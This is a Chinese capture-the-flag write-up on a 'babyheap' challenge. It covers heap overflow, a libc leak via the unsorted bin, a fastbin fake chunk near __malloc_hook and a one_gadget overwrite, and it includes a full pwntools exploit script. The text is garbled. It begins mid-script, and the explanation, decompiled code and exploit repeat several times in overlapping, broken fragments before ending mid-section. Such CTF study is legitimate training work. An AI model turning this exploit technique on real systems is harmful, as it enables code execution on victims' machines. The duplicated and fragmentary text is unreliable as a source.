allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10) gdb.attach(cn) raw_input() #trim malloc_hook allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) update(3,len(payload),payload) gdb.attach(cn) raw_input() allocate(0x60)#5 allocate(0x60)#6 one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget)) allocate(0x10) ''' one_gadget libc.so.6 0x45216 0x4526a 0xf02a4 0xf1147 ''' irt()
该题跟2018 0ctf babyheap逻辑十分相似,但那题比较难,只能溢出一个字节,分配长度也有限制。建议大家在做
2018 0ctf babyheap
前先做这题,作为一个基础和铺垫。
printf("Index: "); result = read_number(); v2 = result; if ( (result & 0x80000000) == 0LL && (signed int)result <= 15 ) { result = *(_DWORD *)(24LL * (signed int)result + a1); if ( (_DWORD)result == 1 ) { printf("Size: "); result = read_number(); v3 = result; if ( (signed int)result > 0 ) //这里只简单检查了是否是负数,没有限定size的上限,因此存在堆溢出漏洞 { printf("Content: "); result = input(*(_QWORD *)(24LL * v2 + a1 + 16), v3); } } }
3、Free
printf("Index: "); result = read_number(); v2 = result; if ( (signed int)result >= 0 && (signed int)result <= 15 ) { result = *(_DWORD *)(24LL * (signed int)result + a1); if ( (_DWORD)result == 1 ) { *(_DWORD *)(24LL * v2 + a1) = 0; *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL; free(*(void **)(24LL * v2 + a1 + 16)); result = 24LL * v2 + a1; *(_QWORD *)(result + 16) = 0LL; /*************/ 全都设置为零的,没毛病 /**************/ } }
4、Dump
printf("Index: "); result = read_number(); v2 = result; if ( result >= 0 && result <= 15 ) { result = *(_DWORD *)(24LL * result + a1); if ( result == 1 ) { puts("Content: "); output(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8)); result = puts(byte_14F1); } }
可以发现都有一个共同点,就是在操作前都会检查in_use是否为1,因此UAF就别想了。
利用思路
1、目标:往malloc_hook里填入one_gadget,并触发。这次不能像以前一样修改got表了,因为开了Full RELRO。
小知识
malloc_hook是在调用malloc函数之前检查的地方,正常情况下该地址下的值为0,如果该内存不为0,则会在malloc前先执行malloc_hook中的地址的内容。也就是说如果我们在这块内存写入one_gadget,就会在malloc前执行one_gadget。
2、首先要泄露libc基址,这里我打算要跟unsortedbin打交道,由于在dump的时候都要检查in_use,我们只能将一个chunk形式上放入unsortedbin中,实际上in_use还是为1,从而打印出unsortedbin地址。(可能有的人会一脸懵逼:什么鬼?)
小知识
我们先看一段malloc.c的源码
if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) //unsorted_bin的最后一个,并且该bin中的最后一个chunk的size大于我们申请的大小 { /* split and reattach remainder */ remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); //将选中的chunk剥离出来,恢复unsortedbin unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; av->last_remainder = remainder; remainder->bk = remainder->fd = unsorted_chunks (av);
就是说,如果unsortedbin中只有一个chunk,在分配时如果申请的nb大小比这个chunk小的话,会将这个chunk割一块刚好满足nb大小的小chunk出来给用户,然后将剩下的空间继续放在unsortedbin里,将其fd和bk都设置为unsortedbin地址。
3、拿到地址后,利用堆溢出,修改chunk的fd,往malloc_hook前某个位置分配chunk,从而修改malloc_hook值。
具体过程
Step1:leak libc_base
allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin
编辑chunk0时,通过堆溢出,覆盖chunk1的size后,free(chunk1)会将其放入unsortedbin。
allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) //&main_arena+88 success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 //&main_arena - libc_base = 0x3c4b20固定偏题 success('libc_base:'+hex(libc_base))
再allocate一次后会将chunk1拿出来,根据上述小知识点中unsortedbin的规定,chunk2形式上会放入unsortedbin。但此时chunk_list上的in_use是没有修改的,仍然为1,是可以dump的。
这样就可以通过dump(chunk2)来获取libc了。
Step2:trim malloc_hook
allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10)
这个地方需要注意chunk_list的分布和堆内存并不是简单的一一对应关系了,我们可以这么调试。
可以发现我们编辑chunk2和chunk4指向的都是同一块内存,这是因为这之前unsortedbin中还有一个形式上的chunk2存在,所以在分配相同大小的Chunk的时候会将chunk4分配到与chunk2相同的内存地址。
这样可以恢复一下chunk_list的顺序,以便后面的篡改利用。此后,分配的chunk就会放在chunk3后面。
我们看malloc_hook前面有没有符合条件的size
字节错位法:这种利用字节错位,提取出一个满足条件的size出来,以便分配chunk到这个地方。该方法多用于got表不能修改的情况。
这里可以发现在0x7fd7a4da9af5处开始的8个字节,可以抽出一个7f,当作size时就相当于0x70,符合我们fastbin的大小范围。因此把0x7fd7a4da9af5-8的地方作为fake_chunk的起始地址,覆盖某个chunk的fd。
allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) //padding + prev_size + size + fd update(3,len(payload),payload) allocate(0x60)#5 allocate(0x60)#6 fake_chunk one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget))
还记得之前chunk_list的分布吗?chunk5是紧接着chunk3后面的
所以allocate()后把fastbin中0x60大小的第一个chunk5分配出来,下一个就是fd对应的chunk了
(我在写blog时调试多次,程序并不是一次运行的,而是分开运行,所以程序基址会发生改变,大家只需要关注后三位就行,后三位十六进制数还是一样的)
完整exp:
from pwn import * #context.log_level='debug' cn = process('./babyheap') elf = ELF('./babyheap') libc = ELF('./libc.so.6') sl = lambda data :cn.sendline(str(data)) r = lambda numb=4096 :cn.recv(numb) ru = lambda delims :cn.recvuntil(delims) irt = lambda :cn.interactive() uu64 = lambda data :u64(data.ljust(8, '\0')) def allocate(size): ru('Command: ') sl(1) ru('Size: ') sl(size) def update(index,size,content): ru('Command: ') sl(2) ru('Index: ') sl(index) ru('Size: ') sl(size) ru('Content: ') sl(content) def delete(index): ru('Command: ') sl(3) ru('Index: ') sl(index) def view(index): ru('Command: ') sl(4) ru('Index: ') sl(index) #leak libc_base allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 success('libc_base:'+hex(libc_base)) allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10) gdb.attach(cn) raw_input() #trim malloc_hook allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) update(3,len(payload),payload) gdb.attach(cn) raw_input() allocate(0x60)#5 allocate(0x60)#6 one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget)) allocate(0x10) ''' one_gadget libc.so.6 0x45216 0x4526a 0xf02a4 0xf1147 ''' irt()
该题跟2018 0ctf babyheap逻辑十分相似,但那题比较难,只能溢出一个字节,分配长度也有限制。建议大家在做
2018 0ctf babyheap
前先做这题,作为一个基础和铺垫。
printf("Index: "); result = read_number(); v2 = result; if ( (signed int)result >= 0 && (signed int)result <= 15 ) { result = *(_DWORD *)(24LL * (signed int)result + a1); if ( (_DWORD)result == 1 ) { *(_DWORD *)(24LL * v2 + a1) = 0; *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL; free(*(void **)(24LL * v2 + a1 + 16)); result = 24LL * v2 + a1; *(_QWORD *)(result + 16) = 0LL; /*************/ 全都设置为零的,没毛病 /**************/ } }
4、Dump
printf("Index: "); result = read_number(); v2 = result; if ( result >= 0 && result <= 15 ) { result = *(_DWORD *)(24LL * result + a1); if ( result == 1 ) { puts("Content: "); output(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8)); result = puts(byte_14F1); } }
可以发现都有一个共同点,就是在操作前都会检查in_use是否为1,因此UAF就别想了。
利用思路
1、目标:往malloc_hook里填入one_gadget,并触发。这次不能像以前一样修改got表了,因为开了Full RELRO。
小知识
malloc_hook是在调用malloc函数之前检查的地方,正常情况下该地址下的值为0,如果该内存不为0,则会在malloc前先执行malloc_hook中的地址的内容。也就是说如果我们在这块内存写入one_gadget,就会在malloc前执行one_gadget。
2、首先要泄露libc基址,这里我打算要跟unsortedbin打交道,由于在dump的时候都要检查in_use,我们只能将一个chunk形式上放入unsortedbin中,实际上in_use还是为1,从而打印出unsortedbin地址。(可能有的人会一脸懵逼:什么鬼?)
小知识
我们先看一段malloc.c的源码
if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) //unsorted_bin的最后一个,并且该bin中的最后一个chunk的size大于我们申请的大小 { /* split and reattach remainder */ remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); //将选中的chunk剥离出来,恢复unsortedbin unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; av->last_remainder = remainder; remainder->bk = remainder->fd = unsorted_chunks (av);
就是说,如果unsortedbin中只有一个chunk,在分配时如果申请的nb大小比这个chunk小的话,会将这个chunk割一块刚好满足nb大小的小chunk出来给用户,然后将剩下的空间继续放在unsortedbin里,将其fd和bk都设置为unsortedbin地址。
3、拿到地址后,利用堆溢出,修改chunk的fd,往malloc_hook前某个位置分配chunk,从而修改malloc_hook值。
具体过程
Step1:leak libc_base
allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin
编辑chunk0时,通过堆溢出,覆盖chunk1的size后,free(chunk1)会将其放入unsortedbin。
allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) //&main_arena+88 success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 //&main_arena - libc_base = 0x3c4b20固定偏题 success('libc_base:'+hex(libc_base))
再allocate一次后会将chunk1拿出来,根据上述小知识点中unsortedbin的规定,chunk2形式上会放入unsortedbin。但此时chunk_list上的in_use是没有修改的,仍然为1,是可以dump的。
这样就可以通过dump(chunk2)来获取libc了。
Step2:trim malloc_hook
allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10)
这个地方需要注意chunk_list的分布和堆内存并不是简单的一一对应关系了,我们可以这么调试。
可以发现我们编辑chunk2和chunk4指向的都是同一块内存,这是因为这之前unsortedbin中还有一个形式上的chunk2存在,所以在分配相同大小的Chunk的时候会将chunk4分配到与chunk2相同的内存地址。
这样可以恢复一下chunk_list的顺序,以便后面的篡改利用。此后,分配的chunk就会放在chunk3后面。
我们看malloc_hook前面有没有符合条件的size
字节错位法:这种利用字节错位,提取出一个满足条件的size出来,以便分配chunk到这个地方。该方法多用于got表不能修改的情况。
这里可以发现在0x7fd7a4da9af5处开始的8个字节,可以抽出一个7f,当作size时就相当于0x70,符合我们fastbin的大小范围。因此把0x7fd7a4da9af5-8的地方作为fake_chunk的起始地址,覆盖某个chunk的fd。
allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) //padding + prev_size + size + fd update(3,len(payload),payload) allocate(0x60)#5 allocate(0x60)#6 fake_chunk one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget))
还记得之前chunk_list的分布吗?chunk5是紧接着chunk3后面的
所以allocate()后把fastbin中0x60大小的第一个chunk5分配出来,下一个就是fd对应的chunk了
(我在写blog时调试多次,程序并不是一次运行的,而是分开运行,所以程序基址会发生改变,大家只需要关注后三位就行,后三位十六进制数还是一样的)
完整exp:
from pwn import * #context.log_level='debug' cn = process('./babyheap') elf = ELF('./babyheap') libc = ELF('./libc.so.6') sl = lambda data :cn.sendline(str(data)) r = lambda numb=4096 :cn.recv(numb) ru = lambda delims :cn.recvuntil(delims) irt = lambda :cn.interactive() uu64 = lambda data :u64(data.ljust(8, '\0')) def allocate(size): ru('Command: ') sl(1) ru('Size: ') sl(size) def update(index,size,content): ru('Command: ') sl(2) ru('Index: ') sl(index) ru('Size: ') sl(size) ru('Content: ') sl(content) def delete(index): ru('Command: ') sl(3) ru('Index: ') sl(index) def view(index): ru('Command: ') sl(4) ru('Index: ') sl(index) #leak libc_base allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 success('libc_base:'+hex(libc_base)) allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10) gdb.attach(cn) raw_input() #trim malloc_hook allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) update(3,len(payload),payload) gdb.attach(cn) raw_input() allocate(0x60)#5 allocate(0x60)#6 one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget)) allocate(0x10) ''' one_gadget libc.so.6 0x45216 0x4526a 0xf02a4 0xf1147 ''' irt()
该题跟2018 0ctf babyheap逻辑十分相似,但那题比较难,只能溢出一个字节,分配长度也有限制。建议大家在做
2018 0ctf babyheap
前先做这题,作为一个基础和铺垫。
printf("Index: "); result = read_number(); v2 = result; if ( (signed int)result >= 0 && (signed int)result <= 15 ) { result = *(_DWORD *)(24LL * (signed int)result + a1); if ( (_DWORD)result == 1 ) { *(_DWORD *)(24LL * v2 + a1) = 0; *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL; free(*(void **)(24LL * v2 + a1 + 16)); result = 24LL * v2 + a1; *(_QWORD *)(result + 16) = 0LL; /*************/ 全都设置为零的,没毛病 /**************/ } }
4、Dump
printf("Index: "); result = read_number(); v2 = result; if ( result >= 0 && result <= 15 ) { result = *(_DWORD *)(24LL * result + a1); if ( result == 1 ) { puts("Content: "); output(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8)); result = puts(byte_14F1); } }
可以发现都有一个共同点,就是在操作前都会检查in_use是否为1,因此UAF就别想了。
利用思路
1、目标:往malloc_hook里填入one_gadget,并触发。这次不能像以前一样修改got表了,因为开了Full RELRO。
小知识
malloc_hook是在调用malloc函数之前检查的地方,正常情况下该地址下的值为0,如果该内存不为0,则会在malloc前先执行malloc_hook中的地址的内容。也就是说如果我们在这块内存写入one_gadget,就会在malloc前执行one_gadget。
2、首先要泄露libc基址,这里我打算要跟unsortedbin打交道,由于在dump的时候都要检查in_use,我们只能将一个chunk形式上放入unsortedbin中,实际上in_use还是为1,从而打印出unsortedbin地址。(可能有的人会一脸懵逼:什么鬼?)
小知识
我们先看一段malloc.c的源码
if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) //unsorted_bin的最后一个,并且该bin中的最后一个chunk的size大于我们申请的大小 { /* split and reattach remainder */ remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); //将选中的chunk剥离出来,恢复unsortedbin unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; av->last_remainder = remainder; remainder->bk = remainder->fd = unsorted_chunks (av);
就是说,如果unsortedbin中只有一个chunk,在分配时如果申请的nb大小比这个chunk小的话,会将这个chunk割一块刚好满足nb大小的小chunk出来给用户,然后将剩下的空间继续放在unsortedbin里,将其fd和bk都设置为unsortedbin地址。
3、拿到地址后,利用堆溢出,修改chunk的fd,往malloc_hook前某个位置分配chunk,从而修改malloc_hook值。
具体过程
Step1:leak libc_base
allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin
编辑chunk0时,通过堆溢出,覆盖chunk1的size后,free(chunk1)会将其放入unsortedbin。
allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) //&main_arena+88 success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 //&main_arena - libc_base = 0x3c4b20固定偏题 success('libc_base:'+hex(libc_base))
再allocate一次后会将chunk1拿出来,根据上述小知识点中unsortedbin的规定,chunk2形式上会放入unsortedbin。但此时chunk_list上的in_use是没有修改的,仍然为1,是可以dump的。
这样就可以通过dump(chunk2)来获取libc了。
Step2:trim malloc_hook
allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10)
这个地方需要注意chunk_list的分布和堆内存并不是简单的一一对应关系了,我们可以这么调试。
可以发现我们编辑chunk2和chunk4指向的都是同一块内存,这是因为这之前unsortedbin中还有一个形式上的chunk2存在,所以在分配相同大小的Chunk的时候会将chunk4分配到与chunk2相同的内存地址。
这样可以恢复一下chunk_list的顺序,以便后面的篡改利用。此后,分配的chunk就会放在chunk3后面。
我们看malloc_hook前面有没有符合条件的size
字节错位法:这种利用字节错位,提取出一个满足条件的size出来,以便分配chunk到这个地方。该方法多用于got表不能修改的情况。
这里可以发现在0x7fd7a4da9af5处开始的8个字节,可以抽出一个7f,当作size时就相当于0x70,符合我们fastbin的大小范围。因此把0x7fd7a4da9af5-8的地方作为fake_chunk的起始地址,覆盖某个chunk的fd。
allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) //padding + prev_size + size + fd update(3,len(payload),payload) allocate(0x60)#5 allocate(0x60)#6 fake_chunk one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget))
还记得之前chunk_list的分布吗?chunk5是紧接着chunk3后面的
所以allocate()后把fastbin中0x60大小的第一个chunk5分配出来,下一个就是fd对应的chunk了
(我在写blog时调试多次,程序并不是一次运行的,而是分开运行,所以程序基址会发生改变,大家只需要关注后三位就行,后三位十六进制数还是一样的)
完整exp:
from pwn import * #context.log_level='debug' cn = process('./babyheap') elf = ELF('./babyheap') libc = ELF('./libc.so.6') sl = lambda data :cn.sendline(str(data)) r = lambda numb=4096 :cn.recv(numb) ru = lambda delims :cn.recvuntil(delims) irt = lambda :cn.interactive() uu64 = lambda data :u64(data.ljust(8, '\0')) def allocate(size): ru('Command: ') sl(1) ru('Size: ') sl(size) def update(index,size,content): ru('Command: ') sl(2) ru('Index: ') sl(index) ru('Size: ') sl(size) ru('Content: ') sl(content) def delete(index): ru('Command: ') sl(3) ru('Index: ') sl(index) def view(index): ru('Command: ') sl(4) ru('Index: ') sl(index) #leak libc_base allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 success('libc_base:'+hex(libc_base)) allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10) gdb.attach(cn) raw_input() #trim malloc_hook allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) update(3,len(payload),payload) gdb.attach(cn) raw_input() allocate(0x60)#5 allocate(0x60)#6 one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget)) allocate(0x10) ''' one_gadget libc.so.6 0x45216 0x4526a 0xf02a4 0xf1147 ''' irt()
该题跟2018 0ctf babyheap逻辑十分相似,但那题比较难,只能溢出一个字节,分配长度也有限制。建议大家在做
2018 0ctf babyheap
前先做这题,作为一个基础和铺垫。
printf("Index: "); result = read_number(); v2 = result; if ( result >= 0 && result <= 15 ) { result = *(_DWORD *)(24LL * result + a1); if ( result == 1 ) { puts("Content: "); output(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8)); result = puts(byte_14F1); } }
可以发现都有一个共同点,就是在操作前都会检查in_use是否为1,因此UAF就别想了。
利用思路
1、目标:往malloc_hook里填入one_gadget,并触发。这次不能像以前一样修改got表了,因为开了Full RELRO。
小知识
malloc_hook是在调用malloc函数之前检查的地方,正常情况下该地址下的值为0,如果该内存不为0,则会在malloc前先执行malloc_hook中的地址的内容。也就是说如果我们在这块内存写入one_gadget,就会在malloc前执行one_gadget。
2、首先要泄露libc基址,这里我打算要跟unsortedbin打交道,由于在dump的时候都要检查in_use,我们只能将一个chunk形式上放入unsortedbin中,实际上in_use还是为1,从而打印出unsortedbin地址。(可能有的人会一脸懵逼:什么鬼?)
小知识
我们先看一段malloc.c的源码
if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) //unsorted_bin的最后一个,并且该bin中的最后一个chunk的size大于我们申请的大小 { /* split and reattach remainder */ remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); //将选中的chunk剥离出来,恢复unsortedbin unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; av->last_remainder = remainder; remainder->bk = remainder->fd = unsorted_chunks (av);
就是说,如果unsortedbin中只有一个chunk,在分配时如果申请的nb大小比这个chunk小的话,会将这个chunk割一块刚好满足nb大小的小chunk出来给用户,然后将剩下的空间继续放在unsortedbin里,将其fd和bk都设置为unsortedbin地址。
3、拿到地址后,利用堆溢出,修改chunk的fd,往malloc_hook前某个位置分配chunk,从而修改malloc_hook值。
具体过程
Step1:leak libc_base
allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin
编辑chunk0时,通过堆溢出,覆盖chunk1的size后,free(chunk1)会将其放入unsortedbin。
allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) //&main_arena+88 success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 //&main_arena - libc_base = 0x3c4b20固定偏题 success('libc_base:'+hex(libc_base))
再allocate一次后会将chunk1拿出来,根据上述小知识点中unsortedbin的规定,chunk2形式上会放入unsortedbin。但此时chunk_list上的in_use是没有修改的,仍然为1,是可以dump的。
这样就可以通过dump(chunk2)来获取libc了。
Step2:trim malloc_hook
allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10)
这个地方需要注意chunk_list的分布和堆内存并不是简单的一一对应关系了,我们可以这么调试。
可以发现我们编辑chunk2和chunk4指向的都是同一块内存,这是因为这之前unsortedbin中还有一个形式上的chunk2存在,所以在分配相同大小的Chunk的时候会将chunk4分配到与chunk2相同的内存地址。
这样可以恢复一下chunk_list的顺序,以便后面的篡改利用。此后,分配的chunk就会放在chunk3后面。
我们看malloc_hook前面有没有符合条件的size
字节错位法:这种利用字节错位,提取出一个满足条件的size出来,以便分配chunk到这个地方。该方法多用于got表不能修改的情况。
这里可以发现在0x7fd7a4da9af5处开始的8个字节,可以抽出一个7f,当作size时就相当于0x70,符合我们fastbin的大小范围。因此把0x7fd7a4da9af5-8的地方作为fake_chunk的起始地址,覆盖某个chunk的fd。
allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) //padding + prev_size + size + fd update(3,len(payload),payload) allocate(0x60)#5 allocate(0x60)#6 fake_chunk one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget))
还记得之前chunk_list的分布吗?chunk5是紧接着chunk3后面的
所以allocate()后把fastbin中0x60大小的第一个chunk5分配出来,下一个就是fd对应的chunk了
(我在写blog时调试多次,程序并不是一次运行的,而是分开运行,所以程序基址会发生改变,大家只需要关注后三位就行,后三位十六进制数还是一样的)
完整exp:
from pwn import * #context.log_level='debug' cn = process('./babyheap') elf = ELF('./babyheap') libc = ELF('./libc.so.6') sl = lambda data :cn.sendline(str(data)) r = lambda numb=4096 :cn.recv(numb) ru = lambda delims :cn.recvuntil(delims) irt = lambda :cn.interactive() uu64 = lambda data :u64(data.ljust(8, '\0')) def allocate(size): ru('Command: ') sl(1) ru('Size: ') sl(size) def update(index,size,content): ru('Command: ') sl(2) ru('Index: ') sl(index) ru('Size: ') sl(size) ru('Content: ') sl(content) def delete(index): ru('Command: ') sl(3) ru('Index: ') sl(index) def view(index): ru('Command: ') sl(4) ru('Index: ') sl(index) #leak libc_base allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 success('libc_base:'+hex(libc_base)) allocate(0x40)#4 clear unsortedbin place 2 update(4,0x40,'a'*0x40) update(2,0x10,'b'*0x10) gdb.attach(cn) raw_input() #trim malloc_hook allocate(0x60)#5 delete(5) fake_chunk = leak_addr - 88 - 0x2b- 8 payload = 'a'*0x40 + p64(0) + p64(0x70) + p64(fake_chunk) update(3,len(payload),payload) gdb.attach(cn) raw_input() allocate(0x60)#5 allocate(0x60)#6 one_gadget = libc_base + 0x4526a success('one_gadget:'+hex(one_gadget)) update(6,0x13+8,'c'*0x13+p64(one_gadget)) allocate(0x10) ''' one_gadget libc.so.6 0x45216 0x4526a 0xf02a4 0xf1147 ''' irt()
该题跟2018 0ctf babyheap逻辑十分相似,但那题比较难,只能溢出一个字节,分配长度也有限制。建议大家在做
2018 0ctf babyheap
前先做这题,作为一个基础和铺垫。
printf("Index: "); result = read_number(); v2 = result; if ( result >= 0 && result <= 15 ) { result = *(_DWORD *)(24LL * result + a1); if ( result == 1 ) { puts("Content: "); output(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8)); result = puts(byte_14F1); } }
可以发现都有一个共同点,就是在操作前都会检查in_use是否为1,因此UAF就别想了。
利用思路
1、目标:往malloc_hook里填入one_gadget,并触发。这次不能像以前一样修改got表了,因为开了Full RELRO。
小知识
malloc_hook是在调用malloc函数之前检查的地方,正常情况下该地址下的值为0,如果该内存不为0,则会在malloc前先执行malloc_hook中的地址的内容。也就是说如果我们在这块内存写入one_gadget,就会在malloc前执行one_gadget。
2、首先要泄露libc基址,这里我打算要跟unsortedbin打交道,由于在dump的时候都要检查in_use,我们只能将一个chunk形式上放入unsortedbin中,实际上in_use还是为1,从而打印出unsortedbin地址。(可能有的人会一脸懵逼:什么鬼?)
小知识
我们先看一段malloc.c的源码
if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) //unsorted_bin的最后一个,并且该bin中的最后一个chunk的size大于我们申请的大小 { /* split and reattach remainder */ remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); //将选中的chunk剥离出来,恢复unsortedbin unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; av->last_remainder = remainder; remainder->bk = remainder->fd = unsorted_chunks (av);
就是说,如果unsortedbin中只有一个chunk,在分配时如果申请的nb大小比这个chunk小的话,会将这个chunk割一块刚好满足nb大小的小chunk出来给用户,然后将剩下的空间继续放在unsortedbin里,将其fd和bk都设置为unsortedbin地址。
3、拿到地址后,利用堆溢出,修改chunk的fd,往malloc_hook前某个位置分配chunk,从而修改malloc_hook值。
具体过程
Step1:leak libc_base
allocate(0x48)#0 allocate(0x40)#1 allocate(0x40)#2 allocate(0x40)#3 update(0,0x49,'\x00'*0x48 + '\xa1')#change chunk1's size delete(1)#put into unsortedbin
编辑chunk0时,通过堆溢出,覆盖chunk1的size后,free(chunk1)会将其放入unsortedbin。
allocate(0x40)#chunk2 in unsordtedbin but in_use==1 view(2) ru('Content: \n') leak_addr = uu64(r(6)) //&main_arena+88 success('leak_addr:'+hex(leak_addr)) libc_base = leak_addr - 88-0x3c4b20 //&main_arena - libc_base = 0x3c4b20固定偏题 success('libc_base:'+hex(libc_base))
